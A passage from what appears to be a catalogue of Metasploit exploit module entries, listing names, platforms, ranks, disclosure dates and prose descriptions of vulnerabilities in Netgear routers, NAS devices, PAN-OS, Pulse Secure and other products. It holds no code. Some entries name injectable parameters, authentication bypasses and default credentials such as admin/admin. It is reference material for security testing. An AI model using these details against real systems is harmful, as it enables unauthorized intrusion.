  been successfully tested against Nagios XI 5.7.3 running on CentOS
7.

End Exploit Number 216

Begin Exploit Number 217
       Name: Netgear DGN1000 Setup.cgi Unauthenticated RCE
     Module: exploit/linux/http/netgear_dgn1000_setup_unauth_exec
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-06-05

Payload information:

Description:
  This module exploits an unauthenticated OS command execution
vulneralbility
  in the setup.cgi file in Netgear DGN1000 firmware versions up to
```

```
1.1.00.48, and
  DGN2000v1 models.

End Exploit Number 217

Begin Exploit Number 218
       Name: Netgear DGN1000B setup.cgi Remote Command Execution
     Module: exploit/linux/http/netgear_dgn1000b_setup_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-02-06

Payload information:

Description:
  Some Netgear Routers are vulnerable to authenticated OS Command
injection. The
  vulnerability exists in the web interface, specifically in the
setup.cgi component,
  when handling the TimeToLive parameter. Default credentials are
always a good
  starting point, admin/admin or admin/password could be a first try.
Since it is a
  blind os command injection vulnerability, there is no output for the
executed
  command when using the cmd generic payload. A ping command against a
controlled
  system could be used for testing purposes.

End Exploit Number 218

Begin Exploit Number 219
       Name: Netgear DGN2200B pppoe.cgi Remote Command Execution
     Module: exploit/linux/http/netgear_dgn2200b_pppoe_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-02-15

Payload information:

Description:
  Some Netgear Routers are vulnerable to an authenticated OS command
injection
  on their web interface. Default credentials for the web interface
```

```
are admin/admin
  or admin/password. Since it is a blind os command injection
vulnerability, there
  is no output for the executed command when using the cmd generic
payload. A ping
  command against a controlled system could be used for testing
purposes. This module
  overwrites parts of the PPOE configuration, while the module tries
to restore it
  after exploitation configuration backup is recommended.

End Exploit Number 219

Begin Exploit Number 220
       Name: Netgear DGN2200 dnslookup.cgi Command Injection
     Module: exploit/linux/http/netgear_dnslookup_cmd_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-02-25

Payload information:

Description:
  This module exploits a command injection vulnerablity in NETGEAR
  DGN2200v1/v2/v3/v4 routers by sending a specially crafted post
request
  with valid login details.

End Exploit Number 220

Begin Exploit Number 221
       Name: Netgear R7000 and R6400 cgi-bin Command Injection
     Module: exploit/linux/http/netgear_r7000_cgibin_exec
   Platform: Linux
       Arch: armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-06

Payload information:

Description:
  This module exploits an arbitrary command injection vulnerability in
  Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and
possibly earlier.
```

```
End Exploit Number 221

Begin Exploit Number 222
       Name: NETGEAR ReadyNAS Perl Code Evaluation
     Module: exploit/linux/http/netgear_readynas_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-07-12

Payload information:
  Space: 4096

Description:
  This module exploits a Perl code injection on NETGEAR ReadyNAS
4.2.23 and 4.1.11. The
  vulnerability exists on the web front end, specifically in the
np_handler.pl component,
  due to an insecure usage of the eval() perl function. This module
has been tested
  successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated
environment.

End Exploit Number 222

Begin Exploit Number 223
       Name: Netgear Devices Unauthenticated Remote Command Execution
     Module: exploit/linux/http/netgear_unauth_exec
   Platform: Linux
       Arch: mipsbe
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-25

Payload information:

Description:
  From the CVE-2016-1555 page: (1) boardData102.php, (2)
boardData103.php,
  (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
  Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320,
WNDAP350,
  WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to
execute
  arbitrary commands.

End Exploit Number 223
```

```
Begin Exploit Number 224
       Name: NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack
Buffer Overflow
     Module: exploit/linux/http/netgear_wnr2000_rce
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-12-20

Payload information:
  Avoid: 3 characters

Description:
  The NETGEAR WNR2000 router has a stack buffer overflow vulnerability
in the hidden_lang_avi
  parameter.
  In order to exploit it, it is necessary to guess the value of a
certain timestamp which
  is in the configuration of the router. An authenticated attacker can
simply fetch this
  from a page, but an unauthenticated attacker has to brute force it.
  Brute forcing the timestamp token might take a few minutes, a few
hours, or days, but
  it is guaranteed that it can be bruteforced.
  This module implements both modes, and it works very reliably. It
has been tested with
  the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should
also work with hardware
  revisions v4 and v3, but this has not been tested - with these
routers it might be necessary
  to adjust the LibcBase variable as well as the gadget addresses.

End Exploit Number 224

Begin Exploit Number 225
       Name: Netis router MW5360 unauthenticated RCE.
     Module: exploit/linux/http/netis_unauth_rce_cve_2024_22729
   Platform: Linux
       Arch: mipsle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-11

Payload information:

Description:
  Netis router MW5360 has a command injection vulnerability via the
password parameter on the login page.
  The vulnerability stems from improper handling of the "password"
parameter within the router's web interface.
  The router's login page authorization can be bypassed by simply
deleting the authorization header,
  leading to the vulnerability. All router firmware versions up to
`V1.0.1.3442` are vulnerable.
  Attackers can inject a command in the 'password' parameter, encoded
in base64, to exploit the command injection
  vulnerability. When exploited, this can lead to unauthorized command
execution, potentially allowing the attacker
  to take control of the router.

End Exploit Number 225

Begin Exploit Number 226
       Name: Netsweeper WebAdmin unixlogin.php Python Code Injection
     Module: exploit/linux/http/netsweeper_webadmin_unixlogin
   Platform: Python
       Arch: python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-04-28

Payload information:

Description:
  This module exploits a Python code injection in the Netsweeper
  WebAdmin component's unixlogin.php script, for versions 6.4.4 and
  prior, to execute code as the root user.

  Authentication is bypassed by sending a random whitelisted Referer
  header in each request.

  Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
  Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
  been confirmed exploitable.

End Exploit Number 226

Begin Exploit Number 227
       Name: Nexus Repository Manager Java EL Injection RCE
     Module: exploit/linux/http/nexus_repo_manager_el_injection
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-31

Payload information:

Description:
  This module exploits a Java Expression Language (EL) injection in
  Nexus Repository Manager versions up to and including 3.21.1 to
  execute code as the Nexus user.

  This is a post-authentication vulnerability, so credentials are
  required to exploit the bug. Any user regardless of privilege level
  may be used.

  Tested against 3.21.1-01.

End Exploit Number 227

Begin Exploit Number 228
       Name: Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack
Buffer Overflow
     Module: exploit/linux/http/nginx_chunked_size
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-05-07

Payload information:
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in versions 1.3.9 to
1.4.0 of nginx.
  The exploit first triggers an integer overflow in the
ngx_http_parse_chunked() by
  supplying an overly long hex value as chunked block size. This value
is later used
  when determining the number of bytes to read into a stack buffer,
thus the overflow
  becomes possible.

End Exploit Number 228

Begin Exploit Number 229
       Name: NUUO NVRmini 2 / Crystal / NETGEAR ReadyNAS Surveillance
Authenticated Remote Code Execution
     Module: exploit/linux/http/nuuo_nvrmini_auth_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-04

Payload information:

Description:
  The NVRmini 2 Network Video Recorder, Crystal NVR and the ReadyNAS
Surveillance application are vulnerable
  to an authenticated remote code execution on the exposed web
administration interface. An administrative
  account is needed to exploit this vulnerability.
  This results in code execution as root in the NVRmini and the
'admin' user in ReadyNAS.
  This exploit has been tested on several versions of the NVRmini 2,
Crystal and the ReadyNAS Surveillance.
  It probably also works on the NVRsolo and other Nuuo devices, but it
has not been tested
  in those devices.

End Exploit Number 229

Begin Exploit Number 230
       Name: NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance
Unauthenticated Remote Code Execution
     Module: exploit/linux/http/nuuo_nvrmini_unauth_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-08-04

Payload information:
  Space: 1024

Description:
  The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance
application are vulnerable
  to an unauthenticated remote code execution on the exposed web
administration interface.
  This results in code execution as root in the NVRmini and the
'admin' user in ReadyNAS.
  This exploit has been tested on several versions of the NVRmini 2
and the ReadyNAS Surveillance.
  It probably also works on the NVRsolo and other Nuuo devices, but it
has not been tested
  in those devices.
```

```
End Exploit Number 230

Begin Exploit Number 231
       Name: op5 v7.1.9 Configuration Command Execution
     Module: exploit/linux/http/op5_config_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-04-08

Payload information:

Description:
  op5 an open source network monitoring software.
  The configuration page in version 7.1.9 and below
  allows the ability to test a system command, which
  can be abused to run arbitrary code as an unpriv user.

End Exploit Number 231

Begin Exploit Number 232
       Name: Openfiler v2.x NetworkCard Command Execution
     Module: exploit/linux/http/openfiler_networkcard_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-09-04

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in Openfiler v2.x
  which could be abused to allow authenticated users to execute 
arbitrary
  code under the context of the 'openfiler' user. The 'system.html' 
file
  uses user controlled data from the 'device' parameter to create a 
new
  'NetworkCard' object. The class constructor in 'network.inc' calls 
exec()
  with the supplied data. The 'openfiler' user may 'sudo /bin/bash' 
without
  providing a system password.
```

```
End Exploit Number 232

Begin Exploit Number 233
       Name: OpenNMS Horizon Authenticated RCE
     Module: exploit/linux/http/opennms_horizon_authenticated_rce
   Platform: Linux
       Arch: ARCH_CMD
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-01

Payload information:

Description:
  This module exploits built-in functionality in OpenNMS
  Horizon in order to execute arbitrary commands as the
  opennms user. For versions 32.0.2 and higher, this
  module requires valid credentials for a user with
  ROLE_FILESYSTEM_EDITOR privileges and either
  ROLE_ADMIN or ROLE_REST.

  For versions 32.0.1 and lower, credentials are
  required for a user with ROLE_FILESYSTEM_EDITOR,
  ROLE_REST, and/or ROLE_ADMIN privileges. In that case,
  the module will automatically escalate privileges via
  CVE-2023-40315 or CVE-2023-0872 if necessary.

  This module has been successfully tested against OpenNMS
  version 31.0.7

End Exploit Number 233

Begin Exploit Number 234
       Name: OpenTSDB 2.4.1 unauthenticated command injection
     Module: exploit/linux/http/opentsdb_key_cmd_injection
   Platform: Linux
       Arch: ARCH_CMD
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-01

Payload information:

Description:
  This module exploits an unauthenticated command injection
  vulnerability in the key parameter in OpenTSDB through
  2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
  unauthenticated remote code execution as the root user.
  The module first attempts to obtain the OpenTSDB version via
  the api. If the version is 2.4.1 or lower, the module
  performs additional checks to obtain the configured metrics
  and aggregators. It then randomly selects one metric and one
  aggregator and uses those to instruct the target server to
  plot a graph. As part of this request, the key parameter is
  set to the payload, which will then be executed by the target
  if the latter is vulnerable.

  This module has been successfully tested against OpenTSDB
  version 2.4.1.

End Exploit Number 234

Begin Exploit Number 235
       Name: OpenTSDB 2.4.0 unauthenticated command injection
     Module: exploit/linux/http/opentsdb_yrange_cmd_injection
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-18

Payload information:

Description:
  This module exploits an unauthenticated command injection
  vulnerability in the yrange parameter in OpenTSDB through
  2.4.0 (CVE-2020-35476) in order to achieve unauthenticated
  remote code execution as the root user.

  The module first attempts to obtain the OpenTSDB version via
  the api. If the version is 2.4.0 or lower, the module
  performs additional checks to obtain the configured metrics
  and aggregators. It then randomly selects one metric and one
  aggregator and uses those to instruct the target server to
  plot a graph. As part of this request, the yrange parameter is
  set to the payload, which will then be executed by the target
  if the latter is vulnerable.

  This module has been successfully tested against OpenTSDB
  version 2.3.0.

End Exploit Number 235

Begin Exploit Number 236
       Name: Optergy Proton and Enterprise BMS Command Injection using
a backdoor
```

```
     Module: exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276
   Platform: Unix, Linux
       Arch: cmd, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-05

Payload information:
  Avoid: 1 characters

Description:
  This module exploits an undocumented backdoor vulnerability in the
Optergy Proton and Enterprise
  Building Management System (BMS) applications. Versions `2.0.3a` and
below are vulnerable.
  Attackers can exploit this issue by directly navigating to an
undocumented backdoor script
  called Console.jsp in the tools directory and gain full system
access.
  Successful exploitation results in `root` command execution using
`sudo` as user `optergy`.

End Exploit Number 236

Begin Exploit Number 237
       Name: Oracle E-Business Suite (EBS) Unauthenticated Arbitrary
File Upload
     Module: exploit/linux/http/oracle_ebs_rce_cve_2022_21587
   Platform: Linux
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-10-01

Payload information:

Description:
  This module exploits an unauthenticated arbitrary file upload
vulnerability in Oracle Web Applications
  Desktop Integrator, as shipped with Oracle EBS versions 12.2.3
through to 12.2.11, in
  order to gain remote code execution as the oracle user.

End Exploit Number 237

Begin Exploit Number 238
       Name: Pandora FMS Events Remote Command Execution
     Module: exploit/linux/http/pandora_fms_events_exec
   Platform: Linux, Unix
       Arch: x86, x64, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-06-04

Payload information:

Description:
  This module exploits a vulnerability (CVE-2020-13851) in Pandora
  FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
  older versions) in order to execute arbitrary commands.

  This module takes advantage of a command injection vulnerability in
the
  `Events` feature of Pandora FMS. This flaw allows users to execute
  arbitrary commands via the `target` parameter in HTTP POST requests
to
  the `Events` function. After authenticating to the target, the
module
  attempts to exploit this flaw by issuing such an HTTP POST request,
  with the `target` parameter set to contain the payload. If a shell
is
  obtained, the module will try to obtain the local MySQL database
  password via a simple `grep` command on the plaintext
  `/var/www/html/pandora_console/include/config.php` file.

  Valid credentials for a Pandora FMS account are required. The
account
  does not need to have admin privileges.
  This module has been successfully tested on Pandora 7.0 NG 744
running
  on CentOS 7 (the official virtual appliance ISO for this version).

End Exploit Number 238

Begin Exploit Number 239
       Name: Pandora FMS Remote Code Execution
     Module: exploit/linux/http/pandora_fms_exec
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-01-29

Payload information:
  Avoid: 0 characters
```

```
Description:
  This module exploits a vulnerability found in Pandora FMS 5.0RC1 and
lower.
  It will leverage an unauthenticated command injection in the Anyterm
service on
  port 8023/TCP. Commands are executed as the user "pandora". In
Pandora FMS 4.1 and 5.0RC1
  the user "artica" is not assigned a password by default, which makes
it possible to su
  to this user from the "pandora" user. The "artica" user has access
to sudo without a
  password, which makes it possible to escalate privileges to root.
However, Pandora FMS 4.0
  and lower force a password for the "artica" user during
installation.


End Exploit Number 239

Begin Exploit Number 240
       Name: Pandora FMS Default Credential / SQLi Remote Code
Execution
     Module: exploit/linux/http/pandora_fms_sqli
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-02-01

Payload information:
  Space: 50000

Description:
  This module attempts to exploit multiple issues in order to gain
remote
  code execution under Pandora FMS version <= 5.0 SP2.  First, an
attempt
  to authenticate using default credentials is performed.  If this
method
  fails, a SQL injection vulnerability is leveraged in order to
extract
  the "Auto Login" password hash.  If this value is not set, the
module
  will then extract the administrator account's MD5 password hash.

End Exploit Number 240

Begin Exploit Number 241
       Name: Pandora FMS Ping Authenticated Remote Code Execution
     Module: exploit/linux/http/pandora_ping_cmd_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-09

Payload information:

Description:
  This module exploits a vulnerability found in Pandora FMS 7.0NG and
lower.
  net_tools.php in Pandora FMS 7.0NG allows remote attackers to
execute arbitrary OS commands.


End Exploit Number 241

Begin Exploit Number 242
       Name: Palo Alto Networks Authenticated Remote Code Execution
     Module: exploit/linux/http/panos_op_cmd_exec
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-09

Payload information:

Description:
  An OS Command Injection vulnerability in the PAN-OS management
interface that allows authenticated
  administrators to execute arbitrary OS commands with root
privileges.
  This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10

End Exploit Number 242

Begin Exploit Number 243
       Name: Palo Alto Networks readSessionVarsFromFile() Session
Corruption
     Module: exploit/linux/http/panos_readsessionvars
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-12-11
```

```
Payload information:
  Space: 8000
  Avoid: 0 characters

Description:
  This module exploits a chain of vulnerabilities in Palo Alto
Networks products running
  PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This
chain starts by using
  an authentication bypass flaw to to exploit an XML injection issue,
which is then
  abused to create an arbitrary directory, and finally gains root code
execution by
  exploiting a vulnerable cron script. This module uses an initial
reverse TLS callback
  to stage arbitrary payloads on the target appliance. The cron job
used for the final
  payload runs every 15 minutes by default and exploitation can take
up to 20 minutes.

End Exploit Number 243

Begin Exploit Number 244
       Name: Palo Alto Networks PAN-OS Unauthenticated Remote Code
Execution
     Module: exploit/linux/http/panos_telemetry_cmd_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-04-12

Payload information:

Description:
  This module exploits two vulnerabilities in Palo Alto Networks PAN-
OS that
  allow an unauthenticated attacker to create arbitrarily named files
and execute
  shell commands. Configuration requirements are PAN-OS with
GlobalProtect Gateway or
  GlobalProtect Portal enabled and telemetry collection on (default).
Affected versions
  include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, <
11.0.3-h10, < 11.0.4-h1,
  < 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may
take up to
  one hour to execute, depending on how often the telemetry service is
```

```
set to run.

End Exploit Number 244

Begin Exploit Number 245
       Name: PeerCast URL Handling Buffer Overflow
     Module: exploit/linux/http/peercast_url
   Platform: Linux
       Arch: x86
 Privileged: No
    License: BSD License
       Rank: Average
  Disclosed: 2006-03-08

Payload information:
  Space: 200
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in PeerCast <= v0.1216.
  The vulnerability is caused due to a boundary error within the
  handling of URL parameters.

End Exploit Number 245

Begin Exploit Number 246
       Name: php imap_open Remote Code Execution
     Module: exploit/linux/http/php_imap_open_rce
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-10-23

Payload information:

Description:
  The imap_open function within php, if called without the /norsh
flag, will attempt to preauthenticate an
  IMAP session.  On Debian based systems, including Ubuntu, rsh is
mapped to the ssh binary.  Ssh's ProxyCommand
  option can be passed from imap_open to execute arbitrary commands.
  While many custom applications may use imap_open, this exploit works
against the following applications:
  e107 v2, prestashop, SuiteCRM, as well as Custom, which simply
prints the exploit strings for use.
  Prestashop exploitation requires the admin URI, and administrator
credentials.
  suiteCRM/e107 require administrator credentials.  Fixed in php
```

```
5.6.39.

End Exploit Number 246

Begin Exploit Number 247
       Name: PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command
Execution
     Module: exploit/linux/http/pineapp_ldapsyncnow_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-26

Payload information:
  Space: 1024

Description:
  This module exploits a command injection vulnerability on PineApp
Mail-SeCure
  3.70. The vulnerability exists on the ldapsyncnow.php component, due
to the insecure
  usage of the shell_exec() php function. This module has been tested
successfully
  on PineApp Mail-SeCure 3.70.

End Exploit Number 247

Begin Exploit Number 248
       Name: PineApp Mail-SeCure livelog.html Arbitrary Command
Execution
     Module: exploit/linux/http/pineapp_livelog_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-26

Payload information:
  Space: 1024

Description:
  This module exploits a command injection vulnerability on PineApp
Mail-SeCure
  3.70. The vulnerability exists on the livelog.html component, due to
the insecure
  usage of the shell_exec() php function. This module has been tested
successfully
```

```
  on PineApp Mail-SeCure 3.70.

End Exploit Number 248

Begin Exploit Number 249
       Name: PineApp Mail-SeCure test_li_connection.php Arbitrary
Command Execution
     Module: exploit/linux/http/pineapp_test_li_conn_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-26

Payload information:
  Space: 1024

Description:
  This module exploits a command injection vulnerability on PineApp
Mail-SeCure
  3.70. The vulnerability exists on the test_li_connection.php
component, due to the
  insecure usage of the system() php function. This module has been
tested successfully
  on PineApp Mail-SeCure 3.70.

End Exploit Number 249

Begin Exploit Number 250
       Name: Hak5 WiFi Pineapple Preconfiguration Command Injection
     Module: exploit/linux/http/pineapple_bypass_cmdinject
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-01

Payload information:
  Space: 2048

Description:
  This module exploits a login/csrf check bypass vulnerability on WiFi
Pineapples version 2.0 <= pineapple < 2.4.
  These devices may typically be identified by their SSID beacons of
'Pineapple5_....';
  Provided as part of the TospoVirus workshop at DEFCON23.

End Exploit Number 250
```

```
Begin Exploit Number 251
       Name: Hak5 WiFi Pineapple Preconfiguration Command Injection
     Module: exploit/linux/http/pineapple_preconfig_cmdinject
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-01

Payload information:
  Space: 2048

Description:
  This module exploits a command injection vulnerability on WiFi
Pineapples version 2.0 <= pineapple < 2.4.
  We use a combination of default credentials with a weakness in the
anti-csrf generation to achieve
  command injection on fresh pineapple devices prior to configuration.
Additionally if default credentials fail,
  you can enable a brute force solver for the proof-of-ownership
challenge. This will reset the password to a
  known password if successful and may interrupt the user experience.
These devices may typically be identified
  by their SSID beacons of 'Pineapple5_....'; details derived from the
TospoVirus, a WiFi Pineapple infecting
  worm.

End Exploit Number 251

Begin Exploit Number 252
       Name: RedHat Piranha Virtual Server Package passwd.php3
Arbitrary Command Execution
     Module: exploit/linux/http/piranha_passwd_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2000-04-04

Payload information:
  Space: 1024
  Avoid: 2 characters

Description:
  This module abuses two flaws - a metacharacter injection
vulnerability in the
  HTTP management server of RedHat 6.2 systems running the Piranha
  LVS cluster service and GUI (rpm packages: piranha and piranha-gui).
  The vulnerability allows an authenticated attacker to execute
arbitrary
  commands as the Apache user account (nobody) within the
  /piranha/secure/passwd.php3 script. The package installs with a
default
  user and password of piranha:q which was exploited in the wild.

End Exploit Number 252

Begin Exploit Number 253
       Name: Flowmon Unauthenticated Command Injection
     Module: exploit/linux/http/progress_flowmon_unauth_cmd_injection
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-04-23

Payload information:

Description:
  This module exploits an unauthenticated command injection
vulnerability in Progress Flowmon
  versions before v12.03.02.

End Exploit Number 253

Begin Exploit Number 254
       Name: Kemp LoadMaster Unauthenticated Command Injection
     Module: exploit/linux/http/
progress_kemp_loadmaster_unauth_cmd_injection
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-19

Payload information:
  Avoid: 2 characters

Description:
  This module exploits an unauthenticated command injection
vulnerability in
  Progress Kemp LoadMaster in the authorization header after vversion
7.2.48.1.
  The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF)
and
```

```
  7.2.48.10 (LTS).

End Exploit Number 254

Begin Exploit Number 255
       Name: Pulse Secure VPN Arbitrary Command Execution
     Module: exploit/linux/http/pulse_secure_cmd_exec
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-24

Payload information:

Description:
  This module exploits a post-auth command injection in the Pulse
Secure
  VPN server to execute commands as root. The env(1) command is used
to
  bypass application whitelisting and run arbitrary commands.

  Please see related module auxiliary/gather/
pulse_secure_file_disclosure
  for a pre-auth file read that is able to obtain plaintext and hashed
  credentials, plus session IDs that may be used with this exploit.

  A valid administrator session ID is required in lieu of untested
SSRF.

End Exploit Number 255

Begin Exploit Number 256
       Name: Pulse Secure VPN gzip RCE
     Module: exploit/linux/http/pulse_secure_gzip_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-26

Payload information:

Description:
  The Pulse Connect Secure appliance before 9.1R9 suffers from an
uncontrolled gzip extraction vulnerability
  which allows an attacker to overwrite arbitrary files, resulting in
Remote Code Execution as root.
```

```
  Admin credentials are required for successful exploitation.
  Of note, MANY binaries are not in `$PATH`, but are located in `/
home/bin/`.

End Exploit Number 256

Begin Exploit Number 257
       Name: pyLoad js2py Python Execution
     Module: exploit/linux/http/pyload_js2py_exec
   Platform: Unix, Linux, Python
       Arch: cmd, x86, x64, python
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-13

Payload information:

Description:
  pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code
injection due to the pyimport
  functionality exposed through the js2py library. An unauthenticated
attacker can issue a crafted POST request
  to the flash/addcrypted2 endpoint to leverage this for code
execution. pyLoad by default runs two services,
  the primary of which is on port 8000 and can not be used by external
hosts. A secondary "Click 'N' Load"
  service runs on port 9666 and can be used remotely without
authentication.

End Exploit Number 257

Begin Exploit Number 258
       Name: QNAP Q'Center change_passwd Command Execution
     Module: exploit/linux/http/qnap_qcenter_change_passwd_exec
   Platform: Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-07-11

Payload information:

Description:
  This module exploits a command injection vulnerability in the
  `change_passwd` API method within the web interface of QNAP Q'Center
  virtual appliance versions prior to 1.7.1083.

  The vulnerability allows the 'admin' privileged user account to
  execute arbitrary commands as the 'admin' operating system user.

  Valid credentials for the 'admin' user account are required,
however,
  this module also exploits a separate password disclosure issue which
  allows any authenticated user to view the password set for the
'admin'
  user during first install.

  This module has been tested successfully on QNAP Q'Center appliance
  version 1.6.1075.

End Exploit Number 258

Begin Exploit Number 259
       Name: QNAP QTS and QuTS Hero Unauthenticated Remote Code
Execution in quick.cgi
     Module: exploit/linux/http/qnap_qts_rce_cve_2023_47218
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-02-13

Payload information:

Description:
  There exists an unauthenticated command injection vulnerability in
the QNAP operating system known as QTS and
  QuTS hero. QTS is a core part of the firmware for numerous QNAP
entry and mid-level Network Attached Storage
  (NAS) devices, and QuTS hero is a core part of the firmware for
numerous QNAP high-end and enterprise NAS devices.

  The vulnerable endpoint is the quick.cgi component, exposed by the
device’s web based administration feature.
  The quick.cgi component is present in an uninitialized QNAP NAS
device. This component is intended to be used
  during either manual or cloud based provisioning of a QNAP NAS
device. Once a device has been successfully
  initialized, the quick.cgi component is disabled on the system.

  An attacker with network access to an uninitialized QNAP NAS device
may perform unauthenticated command
  injection, allowing the attacker to execute arbitrary commands on
the device.

End Exploit Number 259
```

```
Begin Exploit Number 260
       Name: Raidsonic NAS Devices Unauthenticated Remote Command
Execution
     Module: exploit/linux/http/raidsonic_nas_ib5220_exec_noauth
   Platform: Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2013-02-04

Payload information:

Description:
  Different Raidsonic NAS devices are vulnerable to OS command
injection via the web
  interface. The vulnerability exists in timeHandler.cgi, which is
accessible without
  authentication. This module has been tested with the versions IB-
NAS5220 and
  IB-NAS4220. Since this module is adding a new user and modifying the
inetd daemon
  configuration, this module is set to ManualRanking and could cause
target instability.

End Exploit Number 260

Begin Exploit Number 261
       Name: Railo Remote File Include
     Module: exploit/linux/http/railo_cfml_rfi
   Platform: Unix
       Arch: 
 Privileged: No
